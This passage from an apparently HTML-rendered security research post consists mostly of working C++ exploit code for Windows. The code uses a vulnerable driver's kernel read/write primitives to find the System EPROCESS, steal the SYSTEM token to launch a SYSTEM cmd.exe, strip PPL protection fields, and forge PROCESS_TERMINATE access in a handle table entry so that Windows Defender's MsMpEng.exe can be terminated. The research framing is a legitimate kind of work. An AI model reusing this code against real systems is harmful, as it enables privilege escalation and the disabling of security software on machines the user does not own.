		<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">KRead</span><span class="p">(</span><span class="n">va</span><span class="p">,</span> <span class="n">hdr</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">hdr</span><span class="p">)))</span>
			<span class="k">continue</span><span class="p">;</span>

		<span class="n">LONG</span> <span class="n">peOffset</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">LONG</span><span class="o">*</span><span class="p">)(</span><span class="n">hdr</span> <span class="o">+</span> <span class="mh">0x3C</span><span class="p">);</span>

		<span class="k">if</span> <span class="p">(</span><span class="n">peOffset</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">peOffset</span> <span class="o">+</span> <span class="mh">0x78</span> <span class="o">&gt;</span><span class="p">(</span><span class="n">LONG</span><span class="p">)</span><span class="k">sizeof</span><span class="p">(</span><span class="n">hdr</span><span class="p">))</span>
			<span class="k">continue</span><span class="p">;</span>

		<span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">DWORD</span><span class="o">*</span><span class="p">)(</span><span class="n">hdr</span> <span class="o">+</span> <span class="n">peOffset</span><span class="p">)</span> <span class="o">!=</span> <span class="mh">0x00004550</span><span class="p">)</span>
			<span class="k">continue</span><span class="p">;</span>

		<span class="n">BYTE</span><span class="o">*</span> <span class="n">optHdr</span> <span class="o">=</span> <span class="n">hdr</span> <span class="o">+</span> <span class="n">peOffset</span> <span class="o">+</span> <span class="mi">24</span><span class="p">;</span>

		<span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">USHORT</span><span class="o">*</span><span class="p">)</span><span class="n">optHdr</span> <span class="o">!=</span> <span class="mh">0x20B</span><span class="p">)</span>
			<span class="k">continue</span><span class="p">;</span>

		<span class="n">DWORD</span> <span class="n">sizeOfImage</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">DWORD</span><span class="o">*</span><span class="p">)(</span><span class="n">optHdr</span> <span class="o">+</span> <span class="mi">56</span><span class="p">);</span>
		<span class="n">USHORT</span> <span class="n">subsystem</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">USHORT</span><span class="o">*</span><span class="p">)(</span><span class="n">optHdr</span> <span class="o">+</span> <span class="mi">68</span><span class="p">);</span>

		<span class="k">if</span> <span class="p">(</span><span class="n">subsystem</span> <span class="o">==</span> <span class="mi">1</span> <span class="o">&amp;&amp;</span> <span class="n">sizeOfImage</span> <span class="o">&gt;</span> <span class="mh">0x500000</span><span class="p">)</span>
			<span class="k">return</span> <span class="n">va</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>With the base address for <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code> found, we need to locate the System <code class="language-plaintext highlighter-rouge">EPROCESS</code> address so we can use it as an entry point into the kernel’s process list. We can walk this process list through the <code class="language-plaintext highlighter-rouge">ActiveProcessLinks</code> field, which is a doubly-linked list chaining the <code class="language-plaintext highlighter-rouge">EPROCESS</code> structures for processes together, which will allow us to strip protections from target processes, or steal the token from a process.</p>

<p>To find our entry point, <code class="language-plaintext highlighter-rouge">PsInitialSystemProcess</code> can be used, which provides a global pointer that references the <code class="language-plaintext highlighter-rouge">EPROCESS</code> of the System process, and is exported. We can resolve <code class="language-plaintext highlighter-rouge">PsInitialSystemProcess</code> by loading a local copy of <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code> via <code class="language-plaintext highlighter-rouge">LoadLibraryEx</code>, calling <code class="language-plaintext highlighter-rouge">GetProcAddress</code> to find the export offset, and add it to our kernel base address.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">ULONGLONG</span> <span class="nf">FindKernelExport</span><span class="p">(</span><span class="n">ULONGLONG</span> <span class="n">kernelBase</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">name</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">HMODULE</span> <span class="n">local</span> <span class="o">=</span> <span class="n">LoadLibraryExA</span><span class="p">(</span><span class="s">"ntoskrnl.exe"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">DONT_RESOLVE_DLL_REFERENCES</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">local</span><span class="p">)</span>
		<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>

	<span class="k">auto</span> <span class="n">localAddr</span> <span class="o">=</span> <span class="p">(</span><span class="n">ULONGLONG</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">local</span><span class="p">,</span> <span class="n">name</span><span class="p">);</span>

	<span class="n">ULONGLONG</span> <span class="n">offset</span> <span class="o">=</span> <span class="n">localAddr</span> <span class="o">?</span> <span class="n">localAddr</span> <span class="o">-</span> <span class="p">(</span><span class="n">ULONGLONG</span><span class="p">)</span><span class="n">local</span> <span class="o">:</span> <span class="mi">0</span><span class="p">;</span>

	<span class="n">FreeLibrary</span><span class="p">(</span><span class="n">local</span><span class="p">);</span>

	<span class="k">return</span> <span class="n">offset</span> <span class="o">?</span> <span class="n">kernelBase</span> <span class="o">+</span> <span class="n">offset</span> <span class="o">:</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">ULONGLONG</span> <span class="nf">GetSystemEprocess</span><span class="p">()</span>
<span class="p">{</span>
	<span class="n">ULONGLONG</span> <span class="n">kernelBase</span> <span class="o">=</span> <span class="n">GetNtoskrnlBase</span><span class="p">();</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">kernelBase</span><span class="p">)</span>
		<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>

	<span class="n">ULONGLONG</span> <span class="n">pPsInitial</span> <span class="o">=</span> <span class="n">FindKernelExport</span><span class="p">(</span><span class="n">kernelBase</span><span class="p">,</span> <span class="s">"PsInitialSystemProcess"</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pPsInitial</span><span class="p">)</span>
		<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>

	<span class="n">ULONGLONG</span> <span class="n">eprocess</span> <span class="o">=</span> <span class="n">KReadPtr</span><span class="p">(</span><span class="n">pPsInitial</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">eprocess</span> <span class="o">||</span> <span class="p">(</span><span class="n">DWORD</span><span class="p">)</span><span class="n">KReadPtr</span><span class="p">(</span><span class="n">eprocess</span> <span class="o">+</span> <span class="n">g_off</span><span class="p">.</span><span class="n">Pid</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">4</span><span class="p">)</span>
		<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>

	<span class="k">return</span> <span class="n">eprocess</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Now that we can find the <code class="language-plaintext highlighter-rouge">EPROCESS</code> structure for any target process by PID, we can find the structure for our process, and manipulate the token. To elevate our unprivileged user, we can read the <code class="language-plaintext highlighter-rouge">Token</code> field from the System <code class="language-plaintext highlighter-rouge">EPROCESS</code> and overwrite our current process’s <code class="language-plaintext highlighter-rouge">Token</code> field with the System token value. We can now enable <code class="language-plaintext highlighter-rouge">SeDebugPrivilege</code> via <code class="language-plaintext highlighter-rouge">AdjustTokenPrivileges</code> with no issues now, and spawn our new <code class="language-plaintext highlighter-rouge">cmd.exe</code> process as SYSTEM (if using elevate option).</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">ULONGLONG</span> <span class="nf">FindEprocess</span><span class="p">(</span><span class="n">ULONGLONG</span> <span class="n">systemEproc</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">targetPid</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">ULONGLONG</span> <span class="n">current</span> <span class="o">=</span> <span class="n">systemEproc</span><span class="p">;</span>

	<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">iter</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">iter</span> <span class="o">&lt;</span> <span class="mi">4096</span><span class="p">;</span> <span class="n">iter</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
		<span class="k">if</span> <span class="p">((</span><span class="n">DWORD</span><span class="p">)</span><span class="n">KReadPtr</span><span class="p">(</span><span class="n">current</span> <span class="o">+</span> <span class="n">g_off</span><span class="p">.</span><span class="n">Pid</span><span class="p">)</span> <span class="o">==</span> <span class="n">targetPid</span><span class="p">)</span>
			<span class="k">return</span> <span class="n">current</span><span class="p">;</span>

		<span class="n">ULONGLONG</span> <span class="n">flink</span> <span class="o">=</span> <span class="n">KReadPtr</span><span class="p">(</span><span class="n">current</span> <span class="o">+</span> <span class="n">g_off</span><span class="p">.</span><span class="n">Links</span><span class="p">);</span>
		<span class="n">ULONGLONG</span> <span class="n">next</span> <span class="o">=</span> <span class="n">flink</span> <span class="o">-</span> <span class="n">g_off</span><span class="p">.</span><span class="n">Links</span><span class="p">;</span>

		<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">flink</span> <span class="o">||</span> <span class="n">next</span> <span class="o">==</span> <span class="n">systemEproc</span><span class="p">)</span>
			<span class="k">break</span><span class="p">;</span>

		<span class="n">current</span> <span class="o">=</span> <span class="n">next</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">BOOL</span> <span class="nf">StealSystemToken</span><span class="p">(</span><span class="n">ULONGLONG</span> <span class="n">systemEproc</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">ULONGLONG</span> <span class="n">myEproc</span> <span class="o">=</span> <span class="n">FindEprocess</span><span class="p">(</span><span class="n">systemEproc</span><span class="p">,</span> <span class="n">GetCurrentProcessId</span><span class="p">());</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">myEproc</span><span class="p">)</span>
		<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>

	<span class="n">ULONGLONG</span> <span class="n">systemToken</span> <span class="o">=</span> <span class="n">KReadPtr</span><span class="p">(</span><span class="n">systemEproc</span> <span class="o">+</span> <span class="n">g_off</span><span class="p">.</span><span class="n">Token</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">KWrite</span><span class="p">(</span><span class="n">myEproc</span> <span class="o">+</span> <span class="n">g_off</span><span class="p">.</span><span class="n">Token</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">systemToken</span><span class="p">,</span> <span class="mi">8</span><span class="p">))</span>
		<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>

	<span class="n">EnableDebugPriv</span><span class="p">();</span>

	<span class="k">return</span> <span class="n">TRUE</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">BOOL</span> <span class="nf">EnableDebugPriv</span><span class="p">()</span>
<span class="p">{</span>
	<span class="n">HANDLE</span> <span class="n">token</span><span class="p">;</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">OpenProcessToken</span><span class="p">(</span><span class="n">GetCurrentProcess</span><span class="p">(),</span> <span class="n">TOKEN_ADJUST_PRIVILEGES</span> <span class="o">|</span> <span class="n">TOKEN_QUERY</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">token</span><span class="p">))</span>
		<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>

	<span class="n">LUID</span> <span class="n">luid</span><span class="p">;</span>

	<span class="n">LookupPrivilegeValueA</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="s">"SeDebugPrivilege"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">luid</span><span class="p">);</span>

	<span class="n">TOKEN_PRIVILEGES</span> <span class="n">privs</span> <span class="o">=</span> <span class="p">{};</span>

	<span class="n">privs</span><span class="p">.</span><span class="n">PrivilegeCount</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
	<span class="n">privs</span><span class="p">.</span><span class="n">Privileges</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">Luid</span> <span class="o">=</span> <span class="n">luid</span><span class="p">;</span>
	<span class="n">privs</span><span class="p">.</span><span class="n">Privileges</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">Attributes</span> <span class="o">=</span> <span class="n">SE_PRIVILEGE_ENABLED</span><span class="p">;</span>

	<span class="n">BOOL</span> <span class="n">ok</span> <span class="o">=</span> <span class="n">AdjustTokenPrivileges</span><span class="p">(</span><span class="n">token</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">privs</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">privs</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>

	<span class="n">ok</span> <span class="o">=</span> <span class="n">ok</span> <span class="o">&amp;&amp;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">==</span> <span class="n">ERROR_SUCCESS</span><span class="p">;</span>

	<span class="n">CloseHandle</span><span class="p">(</span><span class="n">token</span><span class="p">);</span>

	<span class="k">return</span> <span class="n">ok</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">CmdElevate</span><span class="p">(</span><span class="n">ULONGLONG</span> <span class="n">systemEproc</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">StealSystemToken</span><span class="p">(</span><span class="n">systemEproc</span><span class="p">))</span>
		<span class="k">return</span> <span class="mi">1</span><span class="p">;</span>

	<span class="n">STARTUPINFOA</span> <span class="n">si</span> <span class="o">=</span> <span class="p">{</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">si</span><span class="p">)</span> <span class="p">};</span>
	<span class="n">PROCESS_INFORMATION</span> <span class="n">pi</span> <span class="o">=</span> <span class="p">{};</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">CreateProcessA</span><span class="p">(</span><span class="s">"C:</span><span class="se">\\</span><span class="s">Windows</span><span class="se">\\</span><span class="s">System32</span><span class="se">\\</span><span class="s">cmd.exe"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">CREATE_NEW_CONSOLE</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">si</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pi</span><span class="p">))</span> <span class="p">{</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"SYSTEM cmd.exe PID %lu</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">pi</span><span class="p">.</span><span class="n">dwProcessId</span><span class="p">);</span>

		<span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">);</span>
		<span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hThread</span><span class="p">);</span>
	<span class="p">}</span>
	<span class="k">else</span> <span class="p">{</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"CreateProcess failed: %lu</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>
	<span class="p">}</span>

	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>To terminate processes, we can use the elevation logic from above to swap our process token, but protected (PPL/PP) processes will require additional effort to terminate. Since this driver does not expose an IOCTL that allows control over <code class="language-plaintext highlighter-rouge">ZwTerminateProcess</code> we will have to strip the protections off the target process before we can touch it. We can do this by finding our target’s <code class="language-plaintext highlighter-rouge">EPROCESS</code>, and zeroing the fields <code class="language-plaintext highlighter-rouge">SignatureLevel</code>, <code class="language-plaintext highlighter-rouge">SectionSignatureLevel</code>, and <code class="language-plaintext highlighter-rouge">Protection</code>. We are now privileged enough to open a handle to our now unprotected target process with <code class="language-plaintext highlighter-rouge">OpenProcess</code>, but in the case of Windows Defender’s <code class="language-plaintext highlighter-rouge">MsMpEng.exe</code> process (and others), the <code class="language-plaintext highlighter-rouge">WdFilter.sys</code> filter driver strips <code class="language-plaintext highlighter-rouge">PROCESS_TERMINATE</code> from our access mask (<code class="language-plaintext highlighter-rouge">GrantedAccess</code>) on handle creation through <code class="language-plaintext highlighter-rouge">ObRegisterCallbacks</code>, which is used to intercept calls to <code class="language-plaintext highlighter-rouge">ObpCreateHandle</code>. To circumvent this, we can open a handle with <code class="language-plaintext highlighter-rouge">PROCESS_QUERY_LIMITED_INFORMATION</code>, which is allowed, and manually adjust the access rights. By locating our process’s <code class="language-plaintext highlighter-rouge">_HANDLE_TABLE</code> via <code class="language-plaintext highlighter-rouge">EPROCESS+ObjectTable</code>, walking the handle table structure to find the handle entry for our created <code class="language-plaintext highlighter-rouge">PROCESS_QUERY_LIMITED_INFORMATION</code> handle, and OR in the <code class="language-plaintext highlighter-rouge">PROCESS_TERMINATE</code> access rights to our access mask. We can now successfully terminate the process with <code class="language-plaintext highlighter-rouge">TerminateProcess</code>.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">CmdKill</span><span class="p">(</span><span class="n">ULONGLONG</span> <span class="n">systemEproc</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">targetPid</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">StealSystemToken</span><span class="p">(</span><span class="n">systemEproc</span><span class="p">))</span>
		<span class="k">return</span> <span class="mi">1</span><span class="p">;</span>

	<span class="n">ULONGLONG</span> <span class="n">myEproc</span> <span class="o">=</span> <span class="n">FindEprocess</span><span class="p">(</span><span class="n">systemEproc</span><span class="p">,</span> <span class="n">GetCurrentProcessId</span><span class="p">());</span>
	<span class="n">ULONGLONG</span> <span class="n">tgtEproc</span> <span class="o">=</span> <span class="n">FindEprocess</span><span class="p">(</span><span class="n">systemEproc</span><span class="p">,</span> <span class="n">targetPid</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">tgtEproc</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"Target EPROCESS not found</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
		<span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="kt">char</span> <span class="n">imageName</span><span class="p">[</span><span class="mi">16</span><span class="p">]</span> <span class="o">=</span> <span class="p">{};</span>

	<span class="n">KRead</span><span class="p">(</span><span class="n">tgtEproc</span> <span class="o">+</span> <span class="n">g_off</span><span class="p">.</span><span class="n">Name</span><span class="p">,</span> <span class="n">imageName</span><span class="p">,</span> <span class="mi">15</span><span class="p">);</span>

	<span class="n">KWriteByte</span><span class="p">(</span><span class="n">tgtEproc</span> <span class="o">+</span> <span class="n">g_off</span><span class="p">.</span><span class="n">SigLevel</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
	<span class="n">KWriteByte</span><span class="p">(</span><span class="n">tgtEproc</span> <span class="o">+</span> <span class="n">g_off</span><span class="p">.</span><span class="n">SecSigLevel</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
	<span class="n">KWriteByte</span><span class="p">(</span><span class="n">tgtEproc</span> <span class="o">+</span> <span class="n">g_off</span><span class="p">.</span><span class="n">Protection</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>

	<span class="n">HANDLE</span> <span class="n">hProcess</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span><span class="n">PROCESS_QUERY_LIMITED_INFORMATION</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">targetPid</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">hProcess</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"OpenProcess failed: %lu</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>
		<span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">GrantHandleAccess</span><span class="p">(</span><span class="n">myEproc</span><span class="p">,</span> <span class="n">hProcess</span><span class="p">,</span> <span class="n">PROCESS_TERMINATE</span><span class="p">))</span> <span class="p">{</span>
		<span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
		<span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">TerminateProcess</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="mi">1</span><span class="p">))</span> <span class="p">{</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"TerminateProcess failed: %lu</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>
		<span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
		<span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"Process %lu (%s) terminated</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">targetPid</span><span class="p">,</span> <span class="n">imageName</span><span class="p">);</span>
	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">ULONGLONG</span> <span class="nf">LookupHandleEntry</span><span class="p">(</span><span class="n">ULONGLONG</span> <span class="n">eprocess</span><span class="p">,</span> <span class="n">HANDLE</span> <span class="n">handle</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">ULONGLONG</span> <span class="n">objTable</span> <span class="o">=</span> <span class="n">KReadPtr</span><span class="p">(</span><span class="n">eprocess</span> <span class="o">+</span> <span class="n">g_off</span><span class="p">.</span><span class="n">ObjTable</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">objTable</span><span class="p">)</span>
		<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>

	<span class="n">ULONGLONG</span> <span class="n">tableCode</span> <span class="o">=</span> <span class="n">KReadPtr</span><span class="p">(</span><span class="n">objTable</span> <span class="o">+</span> <span class="mh">0x08</span><span class="p">);</span>
	<span class="n">ULONG</span> <span class="n">level</span> <span class="o">=</span> <span class="p">(</span><span class="n">ULONG</span><span class="p">)(</span><span class="n">tableCode</span> <span class="o">&amp;</span> <span class="mi">3</span><span class="p">);</span>
	<span class="n">ULONGLONG</span> <span class="n">tableBase</span> <span class="o">=</span> <span class="n">tableCode</span> <span class="o">&amp;</span> <span class="o">~</span><span class="mi">7ULL</span><span class="p">;</span>
	<span class="n">ULONG</span> <span class="n">index</span> <span class="o">=</span> <span class="p">((</span><span class="n">ULONG</span><span class="p">)(</span><span class="n">ULONG_PTR</span><span class="p">)</span><span class="n">handle</span><span class="p">)</span> <span class="o">&gt;&gt;</span> <span class="mi">2</span><span class="p">;</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">level</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
		<span class="k">return</span> <span class="n">tableBase</span> <span class="o">+</span> <span class="p">(</span><span class="n">ULONGLONG</span><span class="p">)</span><span class="n">index</span> <span class="o">*</span> <span class="mi">16</span><span class="p">;</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">level</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">ULONG</span> <span class="n">pageIndex</span> <span class="o">=</span> <span class="n">index</span> <span class="o">/</span> <span class="n">ENTRIES_PER_PAGE</span><span class="p">;</span>
		<span class="n">ULONG</span> <span class="n">entryIndex</span> <span class="o">=</span> <span class="n">index</span> <span class="o">%</span> <span class="n">ENTRIES_PER_PAGE</span><span class="p">;</span>
		<span class="n">ULONGLONG</span> <span class="n">subTable</span> <span class="o">=</span> <span class="n">KReadPtr</span><span class="p">(</span><span class="n">tableBase</span> <span class="o">+</span> <span class="p">(</span><span class="n">ULONGLONG</span><span class="p">)</span><span class="n">pageIndex</span> <span class="o">*</span> <span class="mi">8</span><span class="p">);</span>

		<span class="k">return</span> <span class="n">subTable</span> <span class="o">?</span> <span class="n">subTable</span> <span class="o">+</span> <span class="p">(</span><span class="n">ULONGLONG</span><span class="p">)</span><span class="n">entryIndex</span> <span class="o">*</span> <span class="mi">16</span> <span class="o">:</span> <span class="mi">0</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">level</span> <span class="o">==</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">ULONG</span> <span class="n">topIndex</span> <span class="o">=</span> <span class="n">index</span> <span class="o">/</span> <span class="p">(</span><span class="n">ENTRIES_PER_PAGE</span> <span class="o">*</span> <span class="n">ENTRIES_PER_PAGE</span><span class="p">);</span>
		<span class="n">ULONG</span> <span class="n">midIndex</span> <span class="o">=</span> <span class="p">(</span><span class="n">index</span> <span class="o">/</span> <span class="n">ENTRIES_PER_PAGE</span><span class="p">)</span> <span class="o">%</span> <span class="n">ENTRIES_PER_PAGE</span><span class="p">;</span>
		<span class="n">ULONG</span> <span class="n">entryIndex</span> <span class="o">=</span> <span class="n">index</span> <span class="o">%</span> <span class="n">ENTRIES_PER_PAGE</span><span class="p">;</span>

		<span class="n">ULONGLONG</span> <span class="n">midTable</span> <span class="o">=</span> <span class="n">KReadPtr</span><span class="p">(</span><span class="n">tableBase</span> <span class="o">+</span> <span class="p">(</span><span class="n">ULONGLONG</span><span class="p">)</span><span class="n">topIndex</span> <span class="o">*</span> <span class="mi">8</span><span class="p">);</span>

		<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">midTable</span><span class="p">)</span>
			<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>

		<span class="n">ULONGLONG</span> <span class="n">subTable</span> <span class="o">=</span> <span class="n">KReadPtr</span><span class="p">(</span><span class="n">midTable</span> <span class="o">+</span> <span class="p">(</span><span class="n">ULONGLONG</span><span class="p">)</span><span class="n">midIndex</span> <span class="o">*</span> <span class="mi">8</span><span class="p">);</span>

		<span class="k">return</span> <span class="n">subTable</span> <span class="o">?</span> <span class="n">subTable</span> <span class="o">+</span> <span class="p">(</span><span class="n">ULONGLONG</span><span class="p">)</span><span class="n">entryIndex</span> <span class="o">*</span> <span class="mi">16</span> <span class="o">:</span> <span class="mi">0</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">BOOL</span> <span class="nf">GrantHandleAccess</span><span class="p">(</span><span class="n">ULONGLONG</span> <span class="n">eprocess</span><span class="p">,</span> <span class="n">HANDLE</span> <span class="n">handle</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">rights</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">ULONGLONG</span> <span class="n">entry</span> <span class="o">=</span> <span class="n">LookupHandleEntry</span><span class="p">(</span><span class="n">eprocess</span><span class="p">,</span> <span class="n">handle</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">entry</span><span class="p">)</span>
		<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>

	<span class="n">DWORD</span> <span class="n">accessBits</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

	<span class="n">KRead</span><span class="p">(</span><span class="n">entry</span> <span class="o">+</span> <span class="mi">8</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">accessBits</span><span class="p">,</span> <span class="mi">4</span><span class="p">);</span>

	<span class="n">accessBits</span> <span class="o">|=</span> <span class="n">rights</span><span class="p">;</span>

	<span class="n">KWrite</span><span class="p">(</span><span class="n">entry</span> <span class="o">+</span> <span class="mi">8</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">accessBits</span><span class="p">,</span> <span class="mi">4</span><span class="p">);</span>

	<span class="k">return</span> <span class="n">TRUE</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h2 id="acknowledgment">Acknowledgment</h2>

